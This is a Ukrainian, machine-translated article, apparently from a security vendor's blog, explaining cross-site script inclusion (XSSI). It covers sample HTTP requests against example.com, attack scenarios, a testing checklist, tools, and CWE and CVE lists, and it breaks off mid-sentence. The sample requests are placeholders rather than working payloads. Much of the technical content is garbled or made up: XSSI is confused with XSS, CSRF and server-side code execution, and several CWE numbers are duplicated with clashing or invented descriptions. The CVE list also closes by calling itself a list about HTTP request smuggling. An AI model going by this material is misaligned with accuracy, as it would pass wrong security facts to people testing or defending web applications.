21 Лют, 2023

Включення міжсайтового скрипта

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Скорочення для включення міжсайтового скрипта - XSSI.

Включення міжсайтового скрипта (XSSI) - це тип вразливості в системі безпеки, яка може бути використана зловмисниками для виконання шкідливого коду на комп'ютері чи пристрої жертви. Ця вразливість є варіантом більш відомої атаки з використанням міжсайтового скриптинга (XSS), яка включає впровадження шкідливого коду на веб-сайт або веб-додаток.

Атаки XSSI відбуваються, коли веб-додаток витягує дані з зовнішнього ресурсу і включає ці дані як частину свого власного вмісту. Це може бути проблемою, коли зовнішній ресурс не перевірено чи не очищений належним чином, оскільки це може дозволити зловмиснику впровадити шкідливий код у веб-додаток.

Атака працює, використовуючи довіру веб-додатки до зовнішніх джерел даних, таких як API або сторонні веб-сайти. Обманом змусивши веб-додаток включити шкідливий скрипт з зовнішнього джерела, зловмисник може виконати код на комп'ютері жертви в контексті уразливого веб-сайту. Це може дозволити зловмиснику вкрасти конфіденційні дані, такі як облікові дані для входу або особисту інформацію, або виконувати дії від імені користувача без його відома.

Типи включення міжсайтового скрипта

Включення міжсайтового скрипта (XSSI) є відносно новим типом атаки, і існує не так багато варіантів цієї уразливості, які були задокументовані. Проте ось деякі загальні типи XSSI, які були ідентифіковані:

  1. Перехоплення JSON: це відбувається, коли веб-додаток використовує об'єктну позначення JavaScript (JSON) для обміну даними із зовнішнім джерелом. Зловмисник може скористатися цим, перехопивши відповідь JSON і використовуючи його для виконання шкідливого коду на комп'ютері жертви.

  2. Перехоплення JSONP: це схоже на перехоплення JSON, але включає використання JSON з заповненням (JSONP) для обміну даними. Зловмисник може скористатися цією уразливістю, впровадивши шкідливий код у відповідь JSONP, який виконується браузером жертви.

  3. CSRF з перехопленням JSON: це відбувається, коли зловмисник використовує уразливість підробки міжсайтових запитів (CSRF) в поєднанні з атакою з перехопленням JSON. Використовуючи CSRF-атаку, щоб змусити користувача зробити запит до уразливого веб-додатком, зловмисник може перехопити відповідь JSON і використовувати його для виконання шкідливого коду.

  4. XSSI на основі CORS: ця вразливість викликана неправильно налаштованої політикою спільного використання ресурсів різних джерел (CORS) у веб-додатку. Обманом змусивши додаток відправити запит з різних джерел шкідливий домен, зловмисник може виконати код на комп'ютері жертви.

Приклади запитів, які можна використовувати для тестування включення міжсайтового скрипта

Приклади запитів GET і POST в різних типах міжсайтового скриптової включення (XSSI):

Перехоплення JSON:

				
					GET /example/api/data?callback=parseData HTTP/1.1
Host: example.com
				
			

Приклад відповіді з корисним навантаженням JSON:

				
					parseData({"data": "example data"});
				
			

У цьому прикладі веб-додаток використовує JSON для обміну даними із зовнішнім ресурсом. Зловмисник може скористатися цією уразливістю, перехопивши відповідь JSON і використовуючи його для виконання шкідливого коду на комп'ютері жертви.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12

{"data": "example"}
				
			

Приклад відповіді з корисним навантаженням JSON:

				
					{"data": "example data"}
				
			

У цьому прикладі веб-додаток використовує JSON для обміну даними із зовнішнім ресурсом. Зловмисник може скористатися цією уразливістю, перехопивши відповідь JSON і використовуючи його для виконання шкідливого коду на комп'ютері жертви.

Захоплення JSONP:

				
					GET /example/api/data?callback=parseData HTTP/1.1
Host: example.com
				
			

Приклад відповіді з корисним навантаженням JSONP:

				
					parseData({"data": "example data"});
				
			

У цьому прикладі веб-додаток використовує JSON з заповненням (JSONP) для обміну даними. Зловмисник може скористатися цією уразливістю, впровадивши шкідливий код у відповідь JSONP, який виконується браузером жертви.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12

{"data": "example"}
				
			

Приклад відповіді з корисним навантаженням JSONP:

				
					parseData({"data": "example data"});
				
			

У цьому прикладі веб-додаток використовує JSON з заповненням (JSONP) для обміну даними. Зловмисник може скористатися цією уразливістю, впровадивши шкідливий код у відповідь JSONP, який виконується браузером жертви.

CSRF з захопленням JSON:

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

data=example
				
			

Приклад відповіді з корисним навантаженням JSON:

				
					parseData({"data": "example data"});
				
			

У цьому прикладі зловмисник скористався вразливістю підробки міжсайтових запитів (CSRF), щоб змусити жертву зробити запит до уразливого веб-додатком. Зловмисник перехоплює відповідь JSON і використовує його для виконання шкідливого коду на комп'ютері жертви.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

data=example
				
			

Приклад відповіді з корисним навантаженням JSON:

				
					{"data": "example data"}
				
			

У цьому прикладі зловмисник скористався вразливістю підробки міжсайтових запитів (CSRF), щоб змусити жертву зробити запит до уразливого веб-додатком. Зловмисник перехоплює відповідь JSON і використовує його для виконання шкідливого коду на комп'ютері жертви.

XSSI на основі CORS:

				
					GET /example/api/data HTTP/1.1
Host: example.com
Origin: malicious.com
				
			

Приклад відповіді з корисним навантаженням JSON:

				
					{"data": "example data"}
				
			

У цьому прикладі веб-додаток має неправильно налаштовану політику спільного використання ресурсів з різних джерел (CORS), яка дозволяє запити з будь-якого домену. Зловмисник може обманом змусити додаток відправити запит з різних джерел шкідливий домен, перехопити відповідь JSON і використовувати його для виконання шкідливого коду.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12
Origin: malicious.com

{"data": "example"}
				
			

Приклад відповіді з корисним навантаженням JSON:

				
					{"data": "example data"}
				
			

У цьому прикладі веб-додаток має неправильно налаштовану політику спільного використання ресурсів з різних джерел (CORS), яка дозволяє запити з будь-якого домену. Зловмисник може обманом змусити додаток відправити запит з різних джерел шкідливий домен, перехопити відповідь JSON і використовувати його для виконання шкідливого коду.

Приклади використання міжсайтового скрипта для включення

Приклади того, як вразливість, пов'язана з включенням міжсайтового скрипта (XSSI), може бути використана зловмисником:

  1. Перехоплення сеансу: зловмисник може використовувати XSSI для перехоплення сеансу жертви та отримання доступу до облікового запису. Зловмисник може впровадити шкідливий код на веб-сторінку, яка відправляє ідентифікатор сеансу жертви на віддалений сервер, контрольований зловмисником. Потім зловмисник може використовувати ідентифікатор сеансу, щоб видати себе за жертву і отримати доступ до його облікового запису.

  2. Крадіжка даних: зловмисник може використовувати XSSI для крадіжки конфіденційних даних з комп'ютера жертви. Зловмисник може впровадити шкідливий код на веб-сторінку, який зчитує конфіденційні дані з комп'ютера жертви, такі як файли cookie, історію браузера або збережені паролі. Потім зловмисник може відправити ці дані на віддалений сервер, контрольований зловмисником.

  3. Доставка шкідливого ПО: зловмисник може використовувати XSSI для доставки шкідливого ПЗ на комп'ютер жертви. Зловмисник може впровадити шкідливий код на веб-сторінку, яка завантажує і встановлює шкідливе ПЗ на комп'ютер жертви. Шкідлива програма може бути використана для крадіжки конфіденційних даних, запуску подальших атак або захоплення контролю над комп'ютером жертви.

  4. Фішингу: зловмисник може використовувати XSSI для запуску фішингових атак проти жертви. Зловмисник може впровадити шкідливий код на веб-сторінку, яка виглядає як законна форма входу в систему або інша конфіденційна сторінка. Жертва може ввести свої облікові дані для входу або іншу конфіденційну інформацію у форму, яка потім відправляється на віддалений сервер, контрольований зловмисником.

  5. Відмова в обслуговуванні: зловмисник може використовувати XSSI для запуску атак типу "відмова в обслуговуванні" проти жертви. Зловмисник може впровадити шкідливий код на веб-сторінку, який неодноразово відправляє запити на комп'ютер жертви, в результаті чого він перестає відповідати на запити або виходить з ладу.

Методи підвищення привілеїв при включенні міжсайтового скрипта

Уразливості з включенням міжсайтових сценаріїв (XSSI) можуть використовуватися зловмисниками для підвищення своїх привілеїв і отримання доступу до конфіденційних даних або функцій, які зазвичай були б для них недоступні.

  1. Перехоплення токена сеансу: якщо веб-додаток використовує токени сеансу для аутентифікації користувачів, зловмисник може використовувати XSSI для крадіжки токена сеансу жертви і захоплення їх сеансу. Потім зловмисник може видати себе за жертву і отримати доступ до конфіденційних даних або функцій, які доступні тільки пройшов перевірку автентичності користувачам.

  2. Підробка міжсайтових запитів (CSRF): зловмисник може використовувати XSSI для запуску CSRF атаки проти жертви. Зловмисник може впровадити форму або інший механізм користувальницького введення на веб-сторінку, яка надсилає запит цільовим веб-додатком. Якщо користувач не аутентифікований і авторизований для виконання дії, запит буде виконаний з його правами. Це дозволяє зловмиснику виконувати дії від імені жертви, такі як зміна пароля або вчинення несанкціонованих транзакцій.

  3. Обхід авторизації: зловмисник може використовувати XSSI для обходу перевірок авторизації веб-додатків і доступу до конфіденційних даних або функцій, які зазвичай обмежені. Зловмисник може впровадити шкідливий код на веб-сторінку, яка змусить додаток думати, що зловмиснику дозволений доступ до обмежених даними або функцій. Наприклад, зловмисник може впровадити код, який змінює значення сертифікат автентифікації або змінює логіку перевірки авторизації.

  4. Віддалене виконання коду: зловмисник може використовувати XSSI для виконання довільного коду на стороні сервера веб-додатки, що дозволяє йому обійти аутентифікацію і отримати доступ до конфіденційних даних або функцій. Зловмисник може впровадити шкідливий код на веб-сторінку, яка відправляє запит на сервер зі вбудованим в нього кодом зловмисника. Якщо сервер вразливий для атаки, він буде виконувати код зловмисника зі своїми власними привілеями, дозволяючи зловмиснику отримати доступ до конфіденційних даних або функцій, які зазвичай були б недоступні.

Ці методи можуть використовуватися в поєднанні для підвищення привілеїв зловмисника і отримання доступу до конфіденційних даних або функцій.

Загальна методологія та контрольний список для тестування включення міжсайтового скрипта

Тестування на наявність вразливостей, пов'язаних з включенням міжсайтових сценаріїв (XSSI), включає перевірку того, чи є додаток вразливим для зовнішнього впровадження JavaScript. Ось загальна методологія та контрольний список для тестування XSSI:

  1. Розуміння архітектури та функціональності додатка: Перед початком тестування важливо мати повне уявлення про архітектуру і функціональності веб-додатки. Це включає в себе серверні і клієнтські компоненти, а також будь-які використовуються сторонні бібліотеки або API.

  2. Визначте точки введення: переміщення точки введення в додатку, які беруть користувальницький введення, такі як поля пошуку, контактні форми і сторінки входу. Ці вхідні точки є потенційними цілями для XSSI-атак.

  3. Перевірка на перехоплення JSON: перевірте, чи можуть дані JSON бути доступні зовнішнім доменам, спостерігаючи за заголовками відповідей або додаючи )]}', до початку відповіді JSON не призведе до синтаксичної помилки у JavaScript.

  4. Перевірка на перехоплення JSONP: знайдіть кінцеві точки API, які повертають дані JSONP, і перевірте, чи функція зворотного виклику контролюватися зловмисником.

  5. Тест на CSRF з використанням JSON-перехоплення: перевірте, вразливе додаток для CSRF-атак з використанням JSON-перехоплення.

  6. Перевірка XSSI на основі CORS: перевірте, вразливе додаток для XSSI на основі CORS, намагаючись отримати доступ до междоменным ресурсів за допомогою JavaScript.

  7. Перевірка на наявність заголовків суворого типу вмісту: перевірте, відправляє сервер заголовки суворого типу вмісту для відповідей і схильний він плутанини з типом MIME.

  8. Перевірка на обхід авторизації: перевірте, чи можна обдурити додаток, змусивши його думати, що зловмиснику дозволений доступ до конфіденційних даних або функцій.

  9. Перевірка на перехоплення токена сеансу: перевірте, чи є додаток вразливим для перехоплення токена сеансу.

  10. Перевірка на віддалене виконання коду: перевірте, чи є додаток уразливим для атак на віддалене виконання коду.

  11. Перевірка на витік конфіденційної інформації: перевірте, не передає додаток конфіденційну інформацію неуповноваженим особам.

  12. Використовуйте автоматичні інструменти: Існує кілька доступних автоматичних інструментів, які можна використовувати для перевірки на наявність вразливостей XSSI, таких як Burp Suite, OWASP ZAP і Wfuzz.

  13. Перевірка на наявність помилкових спрацьовувань: Нарешті, важливо перевірити наявність помилкових спрацьовувань, оскільки деякі інструменти виявлення XSSI можуть генерувати помилкові спрацьовування в певних сценаріях. Двічі перевірте результати вручну і спробуйте використовувати всі виявлені вразливості, щоб переконатися в їх достовірності.

Тестування на уразливості XSSI включає в себе визначення вхідних точок у додатку, тестування на різні типи атак XSSI та використання автоматизованих інструментів для надання допомоги в процесі тестування.

Набір інструментів для використання міжсайтового скрипта

Список деяких популярних інструментів для використання міжсайтового включення скриптів (XSSI), розділених на ручні та автоматичні інструменти, а також плагіни для браузера і платформи тестування:

Ручні Інструменти:

  1. Burp Suite – популярний інструмент тестування безпеки веб-додатків, який включає в себе такі функції, як перехоплення і зміна HTTP-трафіку, пошук уразливостей на веб-сайтах і сканування вразливостей XSSI.

  2. OWASP ZAP – безкоштовний сканер безпеки веб-додатків з відкритим вихідним кодом, що включає в себе такі функції, як пасивне і активне сканування, перехоплення проксі-серверів і розширене фаззирование.

  3. Fiddler – безкоштовний інструмент веб-налагодження, який дозволяє розробникам та тестувальникам перевіряти HTTP-трафік і керувати ним.

  4. Chrome DevTools – набір інструментів веб-розробки, вбудований в браузер Chrome, який включає в себе такі функції, як перевірка і редагування HTML і CSS, налагодження коду JavaScript і аналіз мережевого трафіку.

  5. Інструменти розробника Firefox – набір інструментів веб-розробки, вбудований в браузер Firefox, який включає в себе такі функції, як перевірка і редагування HTML і CSS, налагодження коду JavaScript і аналіз мережевого трафіку.

Автоматизовані інструменти:

  1. Acunetix – сканер безпеки веб-додатків, який включає в себе такі функції, як сканування на наявність вразливостей XSSI, впровадження SQL і XSS-атаки.

  2. Netsparker – сканер безпеки веб-додатків, який включає в себе такі функції, як виявлення вразливостей XSSI, впровадження SQL і XSS-атаки.

  3. AppScan – інструмент тестування безпеки веб-додатків, який включає в себе такі функції, як сканування на наявність вразливостей XSSI, впровадження SQL і XSS-атаки.

  4. Skipfish – сканер безпеки веб-додатків, який включає в себе такі функції, як виявлення вразливостей XSSI, впровадження SQL і XSS-атаки.

  5. Arachni – безкоштовний сканер безпеки веб-додатків з відкритим вихідним кодом, що включає в себе такі функції, як виявлення вразливостей XSSI, впровадження SQL і XSS-атаки.

Плагіни для браузера:

  1. XSS Me – плагін для Firefox, який дозволяє користувачам перевіряти XSS уразливості, включаючи XSSI, в веб-додатках.

  2. Tamper Data – плагін для Firefox, який дозволяє користувачам перехоплювати і змінювати HTTP-трафік, включаючи запити XSSI.

  3. Hackbar – плагін для Firefox, який дозволяє користувачам вручну створювати HTTP-запити, включаючи запити XSSI, і перевіряти їх на наявність вразливостей.

  4. EditThisCookie – плагін Chrome, який дозволяє користувачам змінювати файли cookie, включаючи файли cookie ХЅЅІВ веб-додатках.

  5. Cookie Editor – плагін Chrome, який дозволяє користувачам змінювати файли cookie, включаючи файли cookie XSSI, в веб-додатках.

Тестові фреймворки:

  1. BeEF – платформа для використання браузера, яка включає в себе такі функції, як використання вразливостей XSSI, XSS атаки і атаки соціальної інженерії.

  2. Metasploit – платформа тестування на проникнення, яка включає в себе такі функції, як використання вразливостей XSSI, XSS атаки і впровадження SQL.

  3. Vega – безкоштовний сканер веб-вразливостей з відкритим вихідним кодом, що включає в себе такі функції, як виявлення вразливостей XSSI, впровадження SQL і XSS-атаки.

  4. Nikto – сканер вразливостей веб-сервера, який включає в себе такі функції, як виявлення вразливостей XSSI, впровадження SQL і XSS-атаки.

  5. Wapiti – сканер вразливостей веб-додатків, який включає в себе такі функції, як виявлення вразливостей XSSI, впровадження SQL і XSS-атаки.

Важливо правильно вибрати інструменти для ваших конкретних потреб і використовувати їх відповідально і етично.

Середній бал CVSS по включенню міжсайтового скрипта

Загальна система оцінки вразливостей (CVSS) являє собою основу для оцінки серйозності вразливостей безпеки в програмних системах. Оцінки CVSS варіюються від 0 до 10, причому більш високі оцінки вказують на більш серйозні уразливості.

Середній бал CVSS для вразливостей з включенням міжсайтових сценаріїв (XSSI) варіюється в залежності від специфіки уразливості, такий як серйозність впливу і простота експлуатації. В цілому, уразливості XSSI, як правило, мають більш низькі оцінки CVSS, ніж інші типи вразливостей веб-додатків, такі як впровадження SQL або віддалене виконання коду.

Згідно Національної базі даних вразливостей (NVD), яку веде уряд США, середній бал CVSS для вразливостей XSSI становить близько 5,0. Проте важливо зазначити, що бали CVSS - це тільки один із способів вимірювання серйозності уразливості, і що інші фактори, такі як потенційний вплив у певних випадках інформація про організації або простоті експлуатації може бути більш актуальною.

Включення міжсайтового скрипта з загальним перерахуванням слабких місць (CWE)

Ось список відомих загальних перерахувань слабких місць (CWE) для включення міжсайтового скрипта (XSSI).:

  1. CWE-79: неправильна нейтралізація вводу під час генерації веб-сторінки ("Міжсайтовий скриптінг") – ця слабкість пов'язана з використанням неперевірену або несанкціонованого користувача введення для створення динамічного веб-контенту, що може призвести до впровадження шкідливого коду, включаючи XSSI.

  2. CWE-116: Неправильне кодування або екранування вихідних даних – ця слабкість пов'язана з неможливістю правильного кодування або екранування вихідних даних, які можуть містити контрольовані користувачем дані, що може призвести до впровадження шкідливого коду, включаючи ХЅЅІВ.

  3. CWE-601: перенаправлення URL-адреси на ненадійний сайт ('Відкрити перенаправлення') – Ця вразливість пов'язана з використанням неперевірених або несанкціонованих користувальницьких даних для створення URL перенаправлення, який може дозволити перенаправляти користувачів на шкідливий сайт, включаючи сайти, які можуть містити атаки XSSI.

  4. CWE-602: Забезпечення безпеки на стороні клієнта на стороні сервера - ця слабкість пов'язана з використанням клієнтського коду, такого як JavaScript для забезпечення заходів безпеки на стороні сервера, які можуть бути обійдені атаками XSSI.

  5. CWE-611: Неправильне обмеження посилання на зовнішню сутність XML – ця слабкість пов'язана з неможливістю належної перевірки та обмеження введення для аналізаторів XML, що може призвести до впровадження шкідливого коду, включаючи XSSI.

  6. CWE-614: конфіденційний файл cookie сеансу HTTPS без атрибуту 'Secure' – ця слабкість пов'язана з використанням файлів cookie у сеансах HTTPS без атрибуту 'Secure', що може дозволити перехоплювати файли cookie та XSSI-атаки.

  7. CWE-933: веб–маніпулювання - ця слабкість включає в себе маніпулювання веб-контентом або користувацькими інтерфейсами, які можуть бути використані атаками XSSI для впровадження шкідливого коду.

  8. CWE-942: надмірно дозвільний міждоменної білий список – ця слабкість пов'язана з використанням надмірно дозвільних міждоменної білих списків, які можуть допускати атаки XSSI і інші типи міждоменної атак.

  9. CWE-943: неправильна нейтралізація спеціальних елементів, використовуваних в команді SQL ("SQL-ін'єкція') – Ця слабкість пов'язана з використанням неперевірену або несанкціонованого користувача введення в командах SQL, що може призвести до впровадження шкідливого коду, включаючи XSSI.

  10. CWE-944: нездатність контролювати генерацію коду ('Впровадження коду') – Ця слабкість пов'язана з нездатністю належним чином контролювати генерацію коду, що може призвести до впровадження шкідливого коду, включаючи XSSI.

  11. CWE-1138: неправильна нейтралізація спеціальних елементів, які використовуються у значенні заголовка HTTP – ця слабкість пов'язана з використанням неперевірених або несанкціонованих користувальницьких даних в значеннях заголовка HTTP, що може призвести до впровадження шкідливого коду, включаючи XSSI.

  12. CWE-1140: впровадження конфіденційної інформації у файл журналу – ця вразливість пов'язана з впровадженням конфіденційної інформації, включаючи корисні дані ХЅЅІВ файли журналів, які можуть бути використані зловмисниками для отримання доступу до конфіденційних даних.

  13. CWE-1141: Неправильне кодування або екранування вихідних даних у файлах журналу – ця слабкість пов'язана з неможливістю правильного кодування або екранування вихідних даних, які можуть бути зареєстровані, що може призвести до впровадження шкідливого коду, включаючи XSSI.

  14. CWE-1142: Неправильна обробка конфіденційної інформації у файлі конфігурації – Ця слабкість пов'язана з неправильною обробкою конфіденційної інформації, включаючи корисні дані ХЅЅІВ файлах конфігурації, які можуть бути використані зловмисниками для отримання доступу до конфіденційних даних.

  15. CWE-1165: фіксація сеансу – ця слабкість пов'язана з використанням передбачуваних ідентифікаторів сеансу, які можуть бути використані атаками XSSI для захоплення користувальницьких сеансів.

  16. CWE-1190: Неправильне обмеження операцій в межах буфера пам'яті – ця вразливість виникає, коли додаток виконує запис у буфер, який недостатньо великий для зберігання записуваних даних, що призводить до переповнення буфера, яке може бути використане зловмисником для виконання довільного коду на комп'ютері жертви.

  17. CWE-915: Неправильно контрольована модифікація динамічно визначаються атрибутів об'єкта (впровадження об'єкта JavaScript) – ця вразливість виникає, коли зловмисник може керувати введенням, використовуваним для динамічної встановлення або зміни атрибутів об'єкта, що призводить до виконання довільного коду на комп'ютері жертви.

  18. CWE-933: неправильний контроль кількості аргументів для функції – ця вразливість виникає, коли функція викликається з неправильним кількістю аргументів, що призводить до несподіваного поведінки, включаючи виконання довільного коду.

  19. CWE-943: неправильна нейтралізація спеціальних елементів в логіці запиту даних – ця вразливість виникає, коли зловмисник може впровадити шкідливі дані на запит, що призводить до ненавмисним результатами або доступу до несанкціонованим даними.

  20. CWE-959: використання недостатньо випадкових значень – ця вразливість виникає, коли додаток використовує випадкові значення, які не є дійсно випадковими, дозволяючи зловмиснику передбачати або вгадувати значення, використовувані в програмі, що призводить до виконання довільного коду.

  21. CWE-962: небезпечне зберігання облікових даних – ця вразливість виникає, коли додаток зберігає облікові дані небезпечним чином, наприклад, у вигляді відкритого тексту, що дозволяє зловмиснику отримати і використовувати ці дані для отримання несанкціонованого доступу до додатку або пов'язаним систем.

  22. CWE-997: використання жорстко закодованого криптографічного ключа – ця вразливість виникає, коли додаток використовує жорстко закодований криптографічний ключ, що спрощує зловмиснику визначення ключа і розшифровку будь-якої конфіденційної інформації, що зберігається з використанням цього ключа.

  23. CWE-1012: неперевірене умова помилки – ця вразливість виникає, коли додатку не вдається належним чином обробити помилки, що призводить до несподіваного поведінки, включаючи виконання довільного коду.

  24. CWE-1021: Неправильне обмеження відображуваних шарів або фреймів користувальницького інтерфейсу – ця вразливість виникає, коли зловмисник може маніпулювати способом відображення веб-сторінки, що призводить до несподіваного поведінки або несанкціонованого доступу до конфіденційної інформації.

  25. CWE-1024: небезпечне зберігання конфіденційної інформації – ця вразливість виникає, коли додаток зберігає конфіденційну інформацію, таку як паролі або номери кредитних карт, небезпечним чином, що дозволяє зловмиснику отримати і використовувати цю інформацію у зловмисних цілях.

  26. CWE-1031: недостатня ентропія – ця вразливість виникає, коли додаток використовує випадкові значення, які не є випадковими, дозволяючи зловмиснику передбачати або вгадувати значення, використовувані в програмі, що призводить до виконання довільного коду.

Це всього лише кілька прикладів з безлічі CWE, які можуть бути пов'язані з Включення міжсайтового скрипта. Важливо відзначити, що CWE постійно оновлюються і переглядаються в міру виявлення та повідомлення про нові уразливості.

Останні 10 CVE, пов'язані з включенням міжсайтового скрипта

CVE-2021-20843 Уразливість, пов'язана з включенням міжсайтового сценарію веб-інтерфейс RTX830 версії 15.02.17 і більш ранніх версій, NVR510 версії 15.01.18 і більш ранніх версій, NVR700W версії 15.00.19 і більш ранніх версій і RTX1210 версії 14.01.38 і більш ранніх версій, дозволяє зловмисникові з віддаленої аутентифікацією змінювати налаштування продукту через спеціально створену веб-сторінку.

CVE-2021-20797 Уразливість, пов'язана з включенням міжсайтового скрипта в екран віддаленого управління служби Cybozu 3.1.8, дозволяє віддаленому зловмиснику, який пройшов перевірку автентичності, отримати інформацію, що зберігається в продукті. Ця проблема виникає тільки при використанні Mozilla Firefox.

CVE-2020-8339 Повідомлялося про уразливості включення міжсайтових сценаріїв (XSSI) в застарілому веб-інтерфейсі IBM BladeCenter Advanced Management Module (AMM) до версії 3.68 n [BPET68N]. Ця вразливість може дозволити розкрити облікові дані AMM аутентифицированного користувача, якщо користувач буде переконаний відвідати шкідливий сайт, можливо, з допомогою фішингу. Для успішного використання шкідливого веб-сайту потрібні конкретні знання про мережі користувача, які повинні бути включені в шкідливий веб-сайт. Вплив обмежено звичайними обмеженнями доступу користувача, відвідує шкідливий веб-сайт, і за умови, що користувач увійшов в AMM, може підключатися як до AMM, так і до шкідливого веб-сайту, коли веб-браузер відкритий, і використовує веб-браузер, який по своїй суті не захищає від цього класу шкідливих програм. атакувати. Код JavaScript не виконується на самому AMM.

CVE-2020-35942 Проблема підробки міжсайтових запитів (CSRF) в плагіні NextGen Gallery до версії 3.5.0 для WordPress дозволяє завантажувати файли і включати локальні файли з допомогою зміни налаштувань, що призводить до віддаленого виконання коду та XSS. (Можна обійти захист CSRF, просто не включаючи параметр одноразового номери.)

CVE-2020-29254 TikiWiki 21.2 дозволяє редагувати шаблони без захисту CSRF. Це може дозволити віддаленого зловмиснику, який не пройшов перевірку автентичності, провести атаку з підробкою міжсайтових запитів (CSRF) і виконати довільні дії вразливою системі. Уразливість пов'язана з недостатнім захистом CSRF для веб-інтерфейсу управління вразливою системою. Зловмисник може скористатися цією уразливістю, переконавши користувача інтерфейсу перейти по зловмисно створеної посиланням. Успішний експлойт може дозволити зловмиснику виконувати довільні дії вразливою системі з привілеями користувача. Ці дії включають в себе дозвіл зловмисникам відправляти свій власний код через аутентифицированного користувача, що призводить до включення локального файлу. Якщо аутентифікований користувач, який може редагувати шаблони TikiWiki, відвідує шкідливий веб-сайт, код шаблону може бути відредагований.

CVE-2020-29072 Уразливість, пов'язана з включенням міжсайтового скрипта, була виявлена в файлах LiquidFiles до версії 3.3.19. Ця атака на стороні клієнта вимагає взаємодії з користувачем (відкриття посилання), і успішне використання може призвести до витоку зашифрованого вмісту електронної пошти через повідомлення / надіслані?format=js і спливаюче вікно?формат=js.

CVE-2020-26958 Firefox не блокував виконання скриптів з неправильними типами MIME, коли відповідь був перехоплений і кэширован через ServiceWorker. Це може призвести до уразливості при включенні міжсайтового скрипта або обходу політики безпеки контенту. Ця уразливість зачіпає Firefox

CVE-2020-15118 У Wagtail до версій 2.7.4 і 2.9.3, коли тип сторінки форми стає доступним для редакторів Wagtail через додаток `wagtail.contrib.forms`, а шаблон сторінки створюється з використанням стандартних помічників візуалізації форм Django, таких як form.as_p, будь-які HTML-теги, які використовуються в тексті довідки поля форми буде відображатися на сторінці без екранування. Дозвіл HTML в тексті довідки - це навмисне дизайнерське рішення Django; однак у відповідності з політикою Wagtail не дозволяє редакторам вставляти довільний HTML-код за замовчуванням, оскільки це потенційно може бути використане для виконання міжсайтових скриптових атак, включаючи підвищення привілеїв. Тому ця функціональність не повинна була бути доступна користувачам рівня редактора. Уразливість не може бути використана звичайним відвідувачем сайту без доступу до адміністратора Wagtail. Виправлені версії були випущені як Wagtail 2.7.4 (для гілки LTS 2.7) і Wagtail 2.9.3 (для поточної гілки 2.9). У цих версіях текст довідки буде екранований, щоб запобігти включення HTML-тегів. Власники сайтів, які хочуть повторно включити використання HTML у тексті довідки (і готові прийняти ризик того, що це може бути використано редакторами), можуть встановити WAGTAILFORMS_HELP_TEXT_ALLOW_HTML = True в налаштуваннях свого профілю. Власники сайтів, які не можуть перейти на нові версії, можуть захистити свої шаблони сторінок форм, відображаючи форми по полях, згідно з документацією, Django, але опускаючи фільтр |safe при виведенні тексту довідки.

CVE-2019-9644 Уразливість XSSI (міжсайтового включення) в Jupyter Notebook до версії 5.7.6 дозволяє включати ресурси на шкідливі сторінки при відвідуванні користувачами, які пройшли перевірку автентичності на сервері Jupyter. Доступ до вмісту ресурсів було продемонстровано з допомогою Internet Explorer шляхом захоплення повідомлень про помилки, хоча і не відтворювався в інших браузерах. Це відбувається тому, що повідомлення про помилки Internet Explorer можуть містити вміст будь-якого неприпустимого JavaScript, який був виявлений.

CVE-2016-6348 JacksonJsonpInterceptor в RESTEasy може дозволити віддаленим зловмисникам проводити атаку з використанням міжсайтового скрипта (XSSI).

Список CVE постійно оновлюється і доповнюється актуальний список всіх існуючих поширених загроз і вразливостей (CVE) для вразливостей, пов'язаних з контрабандою HTTP-запитів, можна знайти на офіційному веб-сайті CVE https://cve.mitre.org/

Список популярних експлойтів, пов'язаних з включенням міжсайтового скрипта

Уразливості з включенням міжсайтових сценаріїв (XSSI) можуть бути використані кількома способами, в залежності від специфіки уразливості і цілей зловмисника. Ось кілька прикладів популярних експлойтів, пов'язаних з XSSI:

  1. Перехоплення JSON: це тип вразливості XSSI, при якій зловмисник може використовувати спосіб завантаження даних JSON веб-додатком. Зловмисник відправляє GET-запит, що містить шкідливі JSON-дані, уразливого веб-додатком. Додаток повертає JSON в браузер, до яких потім зловмисник може отримати доступ за допомогою об'єкта XHR. Цей метод часто використовується для крадіжки конфіденційної інформації з браузера жертви.

  2. Перехоплення JSONP: це різновид перехоплення JSON, коли зловмисник відправляє запит уразливого веб-додатком, яке повертає дані у форматі JSONP. Потім зловмисник може використовувати функцію зворотного виклику для виконання довільного коду JavaScript в браузері жертви.

  3. CSRF з перехопленням JSON: зловмисник може використовувати уразливості XSSI для запуску атаки з підробкою міжсайтових запитів (CSRF). Зловмисник спочатку використовує уразливість XSSI для отримання конфіденційних даних з браузера жертви. Потім вони можуть використовувати ці дані для обробки запиту CSRF, який, мабуть, походить від жертви, обманом змушуючи веб-додаток виконати дію від їх імені.

  4. XSSI на основі CORS: веб-додаток з включеним спільним використанням ресурсів з різних джерел (CORS) може бути уразливим для атак XSSI. Зловмисник відправляє запит GET з вихідним заголовком, встановленим для цільового домену. Якщо сервер повертає відповідь з заголовком Access Control-Allow-Origin, який дозволяє домен зловмисника, зловмисник може використовувати XSSI для доступу до даних з браузера жертви.

  5. Приховане використання iframe: зловмисник може впровадити прихований iframe на уразливий веб-сайт, який завантажує сторінку з шкідливого домену. Потім зловмисник може використовувати XSSI для отримання конфіденційної інформації з браузера жертви і відправки її шкідливий домен.

  6. Впровадження шкідливого віджета: зловмисник може впровадити шкідливий віджет на вразливу веб-сторінку, яка завантажує дані з стороннього домену. Зловмисник може використовувати XSSI для вилучення даних з віджета і відправки їх на свій власний сервер.

  7. Збережений XSSI: вразливість збереженого XSSI дозволяє зловмисникові зберегти шкідливий скрипт в базі даних уразливого веб-додатки. Коли сценарій пізніше витягується і відображається в браузері жертви, зловмисник може використовувати XSSI для отримання конфіденційних даних з браузера.

  8. Відбитий XSSI: вразливість відбитого XSSI дозволяє зловмисникові впровадити скрипт у відповідь веб-додатки. Потім зловмисник може використовувати XSSI для витягання даних з веб-браузера жертви при перегляді сторінки, містить вбудований скрипт.

Це всього лише кілька прикладів популярних експлойтів, пов'язаних з XSSI.

Практика визначення і використання міжсайтового включення скриптів

Щоб дізнатися про включення міжсайтового скрипта, я б рекомендував наступне:

